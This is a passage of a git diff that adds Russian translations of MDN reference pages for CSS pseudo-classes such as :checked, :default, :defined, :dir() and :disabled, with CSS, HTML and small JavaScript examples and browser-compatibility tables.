+<pre class="brush: css">.a &gt; :-moz-any(.b, .c)
+</pre>
+
+<p>медленнее, чем:</p>
+
+<pre class="brush: css">.a &gt; .b, .a &gt; .c
+</pre>
+
+<p>а следующее быстрее:</p>
+
+<pre class="brush: css">:-moz-any(.a, .d) &gt; .b, :-moz-any(.a, .d) &gt; .c
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoDesktop("2")}}{{property_prefix("-moz")}}</td>
+   <td>12.0 (534.30){{property_prefix("-webkit")}}</td>
+   <td> </td>
+   <td> </td>
+   <td>
+    <p>5<br>
+     {{property_prefix("-webkit")}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>5<br>
+    {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/_colon_checked/index.html b/files/ru/web/css/_colon_checked/index.html
new file mode 100644
index 0000000000..66316fe2d2
--- /dev/null
+++ b/files/ru/web/css/_colon_checked/index.html
@@ -0,0 +1,232 @@
+---
+title: ':checked'
+slug: 'Web/CSS/:checked'
+tags:
+  - CSS
+  - Макет
+  - Псевдоклассы
+  - Руководство
+translation_of: 'Web/CSS/:checked'
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Псевдо-классы" title="Псевдоклассы">псевдоклассы</a> <strong><code>:checked</code></strong> CSS находит любые элементы <strong>radio </strong>(<code>&lt;input type="radio"&gt;</code>), <strong>checkbox </strong>(<code>&lt;input type="checkbox"&gt;</code>) или <strong>option</strong> ({{ HTMLElement("option") }} внутри {{ HTMLElement("select") }}), которые выбраны или включены. Пользователь может изменить это состояние, нажав на элемент, или выбрав другое значение, в этом случае <code>:checked</code> повторно не применится к элементу, а сохранится.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: css">input:checked {
+  margin-left: 25px;
+  border: 1px solid blue;
+}
+</pre>
+
+<h3 id="Examples" name="Examples">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">element:checked { стили }</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_selectors" name="Example_selectors">Примеры селекторов</h3>
+
+<pre class="brush: css">/* любой "кликабельный" элемент */
+:checked {
+  width: 50px;
+  height: 50px;
+}
+
+/* только радиокнопки */
+input[type="radio"]:checked {
+  margin-left: 25px;
+}
+
+/* только чекбоксы */
+input[type="checkbox"]:checked {
+  display: none;
+}
+
+/* только элементы option */
+option:checked {
+  color: red;
+}
+</pre>
+
+<dl>
+ <dt><code>input[type="radio"]:checked</code></dt>
+ <dd>Находит, все отмеченные на странице, радиокнопки</dd>
+</dl>
+
+<dl>
+ <dt><code>input[type="checkbox"]:checked</code></dt>
+ <dd>Находит все отмеченные чекбоксы</dd>
+ <dt><code>option:checked</code></dt>
+ <dd>Находит все отмеченные option</dd>
+</dl>
+
+<h3 id="Использование_скрытых_чекбоксов_чтобы_хранить_некоторые_булевские_значения_в_CSS">Использование скрытых чекбоксов, чтобы хранить некоторые булевские значения в CSS</h3>
+
+<p>Пседокласс <code>:checked</code> применяется к скрытым чекбоксам в начале вашей страницы, которые могут использоваться, чтобы хранить некоторые динамические значения, используемые в CSS правилах. Следующий пример показывает, как скрывать/показывать некоторые расширяемые элементы, нажимая на кнопку (<a class="internal" href="/@api/deki/files/6246/=expandable-elements.html" title="Expandable elements through the :checked pseudoclass">открыть это демо</a>).</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="utf-8" /&gt;
+&lt;title&gt;Расширяемые элементы&lt;/title&gt;
+&lt;style&gt;
+#expand-btn {
+    margin: 0 3px;
+    display: inline-block;
+    font: 12px / 13px "Lucida Grande", sans-serif;
+    text-shadow: rgba(255, 255, 255, 0.4) 0 1px;
+    padding: 3px 6px;
+    border: 1px solid rgba(0, 0, 0, 0.6);
+    background-color: #969696;
+    cursor: default;
+    border-radius: 3px;
+    box-shadow: rgba(255, 255, 255, 0.4) 0 1px, inset 0 20px 20px -10px white;
+}
+
+#isexpanded:checked ~ #expand-btn, #isexpanded:checked ~ * #expand-btn {
+    background: #B5B5B5;
+    box-shadow: inset rgba(0, 0, 0, 0.4) 0 -5px 12px, inset rgba(0, 0, 0, 1) 0 1px 3px, rgba(255, 255, 255, 0.4) 0 1px;
+}
+
+#isexpanded, .expandable {
+    display: none;
+}
+
+#isexpanded:checked ~ * tr.expandable {
+    display: table-row;
+    background: #cccccc;
+
+}
+
+#isexpanded:checked ~ p.expandable, #isexpanded:checked ~ * p.expandable {
+    display: block;
+    background: #cccccc;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;input type="checkbox" id="isexpanded" /&gt;
+
+&lt;h1&gt;Расширяемые элементы&lt;/h1&gt;
+&lt;table&gt;
+    &lt;thead&gt;
+        &lt;tr&gt;&lt;th&gt;Колонка #1&lt;/th&gt;&lt;th&gt;Колонка #2&lt;/th&gt;&lt;th&gt;Колонка #3&lt;/th&gt;&lt;/tr&gt;
+    &lt;/thead&gt;
+    &lt;tbody&gt;
+        &lt;tr class="expandable"&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;/tr&gt;
+        &lt;tr&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;/tr&gt;
+        &lt;tr&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;/tr&gt;
+        &lt;tr class="expandable"&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;/tr&gt;
+        &lt;tr class="expandable"&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;td&gt;[текст ячейки]&lt;/td&gt;&lt;/tr&gt;
+    &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;p&gt;[какой-то текст примера]&lt;/p&gt;
+&lt;p&gt;&lt;label for="isexpanded" id="expand-btn"&gt;Показать скрытые элементы&lt;/label&gt;&lt;/p&gt;
+&lt;p class="expandable"&gt;[другой текст для примера]&lt;/p&gt;
+&lt;p&gt;[какой-то текст примера]&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Использование_скрытых_чекбоксов_чтобы_хранить_некоторые_булевские_значения_в_CSS', '', '', '', 'Web/CSS/:checked') }}</p>
+
+<h3 id="Using_hidden_radioboxes_in_order_to_store_some_CSS_boolean_values" name="Using_hidden_radioboxes_in_order_to_store_some_CSS_boolean_values">Использование скрытых радиокнопок, чтобы хранить некоторые булевские значения в CSS</h3>
+
+<p>Также вы можете псевдокласс <code>:checked</code>, чтобы скрывать радиокнопки для того, чтобы создать, например, <strong>галерею изображений с полноразмерными картинками, показываемыми при наведении на них мыши</strong>. Загрузите <a class="internal" href="/@api/deki/files/6268/=css-checked-gallery.zip" title="css-checked-gallery.zip">это демо</a> как вариант решения.</p>
+
+<div class="note"><strong>Замечание:</strong> Для аналагично эффекта, но основанного на псевдоклассе <a class="internal" href="/ru/docs/CSS/:hover" title="CSS/:hover"><code>:hover</code></a> и без скрытых радиокнопок, смотрите <a class="internal" href="/@api/deki/files/6247/=css-gallery.zip" title="css-gallery.zip">это демо</a>, взятое со страницы <a class="internal" href="/ru/docs/CSS/:hover" title="CSS/:hover">:hover</a>.</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-checked', ':checked') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-checked', ':checked') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Определяет семантику в HTML.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#checked', ':checked') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#pseudo-checked', ':checked') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Ссылается к Селекторам Уровня 3.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#checked', ':checked') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Определяет псевдокласс, но не семантику.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/css/_colon_default/index.html b/files/ru/web/css/_colon_default/index.html
new file mode 100644
index 0000000000..58e14d2db5
--- /dev/null
+++ b/files/ru/web/css/_colon_default/index.html
@@ -0,0 +1,137 @@
+---
+title: ':default'
+slug: 'Web/CSS/:default'
+translation_of: 'Web/CSS/:default'
+---
+<div>{{CSSRef}}</div>
+
+<p> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Псевдо-классы">псевдо-класс</a> <strong><code>:default</code></strong> находит элемент формы, установленный по умолчанию для группы связаных элементов.</p>
+
+<p>Этот селектор используется для  элементов: {{htmlelement("button")}}, <code><a href="/en-US/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code>, <code><a href="/en-US/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code>, и {{htmlelement("option")}} .</p>
+
+<pre class="brush: css no-line-numbers">/* Выбрать установленный по умолчанию среди &lt;input&gt; */
+input:default {
+  background-color: lime;
+}</pre>
+
+<p>Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс <code>:default</code> найдет <em>все</em> эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><strong><code>:default</code></strong>
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="radio" name="season" id="spring"&gt;
+&lt;label for="spring"&gt;Spring&lt;/label&gt;
+
+&lt;input type="radio" name="season" id="summer" checked&gt;
+&lt;label for="summer"&gt;Summer&lt;/label&gt;
+
+&lt;input type="radio" name="season" id="fall"&gt;
+&lt;label for="fall"&gt;Fall&lt;/label&gt;
+
+&lt;input type="radio" name="season" id="winter"&gt;
+&lt;label for="winter"&gt;Winter&lt;/label&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input:default {
+  box-shadow: 0 0 2px 1px coral;
+}
+
+input:default + label {
+  color: coral;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-default', ':default')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-default', ':default')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Определяет связанную семантику HTML и проверку ограничений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#default-pseudo', ':default')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-default', ':default')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Первоначальное определение, но не определяет семантику </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая потдержка</td>
+   <td>10.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая потдержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/_colon_defined/index.html b/files/ru/web/css/_colon_defined/index.html
new file mode 100644
index 0000000000..301da9aa0c
--- /dev/null
+++ b/files/ru/web/css/_colon_defined/index.html
@@ -0,0 +1,114 @@
+---
+title: ':defined'
+slug: 'Web/CSS/:defined'
+translation_of: 'Web/CSS/:defined'
+---
+<div>{{ CSSRef }}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes">псевдо-класс</a> <strong><code>:defined</code></strong> находит любой элемент, который был определён, включая любой стандартный встроенные в браузер элемент и <a href="/ru/docs/Web/Web_Components/Использование_пользовательских_элементов">пользовательские элементы</a> (то есть определённые с помощью метода {{domxref("CustomElementRegistry.define()")}}).</span></p>
+
+<pre class="brush: css no-line-numbers">/* Находит любой элемент, который был определён */
+:defined {
+  font-style: italic;
+}
+
+/* Выбирает все элементы simple-custom, если пользовательский элемент simple-custom был определён */
+simple-custom:defined {
+  display: block;
+}
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот пример включает скрипт, определяющий <a href="/ru/docs/Web/Web_Components/Использование_пользовательских_элементов">пользовательский элемент</a> <code>&lt;simple-custom&gt;</code>:</p>
+
+<pre class="brush: js">customElements.define('simple-custom',
+  class extends HTMLElement {
+    constructor() {
+      super();
+
+      let divElem = document.createElement('div');
+      divElem.textContent = this.getAttribute('text');
+
+      let shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(divElem);
+  }
+})</pre>
+
+<p>Затем мы используем короткий HTML код с элементом <code>&lt;simple-custom&gt;</code> и стандартным элементом {{htmlelement("p")}}:</p>
+
+<pre class="brush: html">&lt;simple-custom text="Текст пользовательского элемента"&gt;&lt;/simple-custom&gt;
+
+&lt;p&gt;Пример текста стандартного параграфа&lt;/p&gt;</pre>
+
+<p>Теперь немного CSS. Здесь мы определяем цвета фона для разных элементов и используем селектор <code>:defined</code>, чтобы поменять шрифт всех определённых элементов на курсив.</p>
+
+<pre class="brush: css">/* Определение разных фонов для разных элементов */
+p {
+  background: yellow;
+}
+
+simple-custom {
+  display: block;
+  background: cyan;
+}
+
+/* И пользовательский, и встроенныйэлементы будет отображены курсивом */
+:defined {
+  font-style: italic;
+}</pre>
+
+<p>Наконец, мы добавляем следующие два правила, чтобы спрятать наш пользовательский элемент, если он не был определён или показать в обратном случае:</p>
+
+<pre class="brush: css">simple-custom:not(:defined) {
+  opacity: 0;
+}
+
+simple-custom:defined {
+  opacity: 0.75;
+  text-decoration: underline;
+}</pre>
+
+<p>Это полезно, если у вас есть сложный пользовательский элемент, который требует какое-то время для загрузки — возможно, вы захотите спрятать его до определения, чтобы на странице не появились искажения или не тилизованные элементы.</p>
+
+<h3 id="результат">результат</h3>
+
+<p>Вот результат выполнения представленного выше кода:</p>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'semantics-other.html#selector-defined', ':defined') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{Compat("css.selectors.defined")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="ru/docs/Web/Web_Components">Веб-компоненты</a></li>
+ <li>{{cssxref(":host")}}</li>
+ <li>{{cssxref(":host()")}}</li>
+ <li>{{cssxref(":host-context()")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_dir/index.html b/files/ru/web/css/_colon_dir/index.html
new file mode 100644
index 0000000000..6dbd620eaf
--- /dev/null
+++ b/files/ru/web/css/_colon_dir/index.html
@@ -0,0 +1,104 @@
+---
+title: ':dir()'
+slug: 'Web/CSS/:dir'
+translation_of: 'Web/CSS/:dir'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><strong><code>:dir()</code></strong> — это <a href="/en-US/docs/Web/CSS/Pseudo-classes">псевдо-класс</a> <a href="/en-US/docs/Web/CSS">CSS</a>, который выбирает элементы на основе направления текста в них.</p>
+
+<pre class="brush: css no-line-numbers">/* Выбирает все элементы с текстом справа-налево */
+:dir(rtl) {
+  background-color: red;
+}</pre>
+
+<p><code>:dir()</code> учитывает только <em>семантическое </em>направление, т.е. заданное в самом документе. Он не учитывает <em>стилизованное </em>направление, т.е. заданное CSS-правилами, например {{cssxref("direction")}}.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong>  помните о том, что псевдокласс <code>:dir()</code> <strong>не эквивалентен</strong> <a href="/ru/docs/Web/CSS/Attribute_selectors">выбору по атрибуту</a> <code>[dir=…]</code>. Последний применяется только к тем элементам HTML, у которых есть атрибут {{htmlattrxref("dir")}}, игнорируя те, у которых он не задан — даже если они унаследовали его значение. (Похожим образом <code>[dir=rtl]</code> и<code>[dir=ltr]</code> не будут включать <code>auto</code>.) <code>:dir()</code>, же, напротив, соостветсвует значению вычисленному {{glossary("user agent")}}, даже унаследованному.</p>
+</div>
+
+<div class="note">
+<p><strong>Примечание:</strong> В HTML, направление задается атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p><code>:dir()</code> требует одного параметра, представляющего желаемое направление.</p>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>ltr</code></dt>
+ <dd>Выбирает элементы с направлением текста слева-направо.</dd>
+ <dt><code>rtl</code></dt>
+ <dd>Выбирает элементы с направлением текста справа-налево.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html;">&lt;div dir="rtl"&gt;
+  &lt;span&gt;test1&lt;/span&gt;
+  &lt;div dir="ltr"&gt;test2
+    &lt;div dir="auto"&gt;עִבְרִית&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:dir(ltr) {
+  background-color: yellow;
+}
+
+:dir(rtl) {
+  background-color: powderblue;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-ltr', ':dir(ltr)')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#the-dir-pseudo', ':dir()')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.dir")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Языково-специфичные селекторы CSS: {{cssxref(":lang")}}, {{cssxref(":dir")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_disabled/index.html b/files/ru/web/css/_colon_disabled/index.html
new file mode 100644
index 0000000000..0335cad5fe
--- /dev/null
+++ b/files/ru/web/css/_colon_disabled/index.html
@@ -0,0 +1,162 @@
+---
+title: ':disabled'
+slug: 'Web/CSS/:disabled'
+tags:
+  - Псевдо-класс
+translation_of: 'Web/CSS/:disabled'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:disabled</code> находит любой отключенный элемент. Элемент отключен, если не может быть активирован (например, его нельзя выбрать, нажать на него или ввести текст) или получить фокус. У элемента также есть включенное состояние, когда его можно активировать или сфокусировать.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_селекторов">Пример селекторов</h3>
+
+<dl>
+ <dt>input:disabled</dt>
+ <dd>Выберет все отключенные поля ввода</dd>
+ <dt>select.country:disabled</dt>
+ <dd>Найдёт все отключенные <code>select</code> элементы с классом <code>country</code></dd>
+</dl>
+
+<h3 id="Пример_использования">Пример использования</h3>
+
+<p>Следующий CSS:</p>
+
+<pre class="brush: css">input[type="text"]:disabled { background: #ccc; }
+</pre>
+
+<p>Применим к этому HTML5 фрагменту:</p>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Адрес доставки&lt;/legend&gt;
+    &lt;input type="text" placeholder="Имя"&gt;
+    &lt;input type="text" placeholder="Адрес"&gt;
+    &lt;input type="text" placeholder="Почтовый индекс"&gt;
+  &lt;/fieldset&gt;
+  &lt;fieldset id="billing"&gt;
+    &lt;legend&gt;Адрес оплаты&lt;/legend&gt;
+    &lt;label for="billing_is_shipping"&gt;Такой же как адрес доставки:&lt;/label&gt;
+    &lt;input type="checkbox" onchange="javascript:toggleBilling()" checked&gt;
+    &lt;br /&gt;
+    &lt;input type="text" placeholder="Имя" disabled&gt;
+    &lt;input type="text" placeholder="Адрес" disabled&gt;
+    &lt;input type="text" placeholder="Почтовый индекс" disabled&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+</pre>
+
+<p>Добавим немного javascript:</p>
+
+<pre class="brush: js">function toggleBilling() {
+  var billingItems = document.querySelectorAll('#billing input[type="text"]');
+  for (var i = 0; i &lt; billingItems.length; i++) {
+    billingItems[i].disabled = !billingItems[i].disabled;
+  }
+}
+</pre>
+
+<p>Результатом будет отключение всех полей в группе адреса оплаты и окраска их в серый цвет.</p>
+
+<p>{{EmbedLiveSample('Пример_использования', '300px', '250px', '', 'Web/CSS/:disabled')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-disabled', ':disabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-disabled', ':disabled')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Определяет семантику HTML и форм.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':disabled')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-classes', ':disabled')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Отсылка к Селекторам Уровня 3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':disabled')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Определяет псевдо-класс, но не семантику.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>
+  <p>{{Cssxref(":enabled")}}</p>
+ </li>
+</ul>
diff --git a/files/ru/web/css/_colon_empty/index.html b/files/ru/web/css/_colon_empty/index.html
new file mode 100644
index 0000000000..5fae40fa2e
--- /dev/null
+++ b/files/ru/web/css/_colon_empty/index.html
@@ -0,0 +1,69 @@
+---
+title: ':empty'
+slug: 'Web/CSS/:empty'
+tags:
+  - CSS
+  - CSS Pseudo-class
+  - Layout
+  - Reference
+  - Web
+  - Псевдоклассы
+translation_of: 'Web/CSS/:empty'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
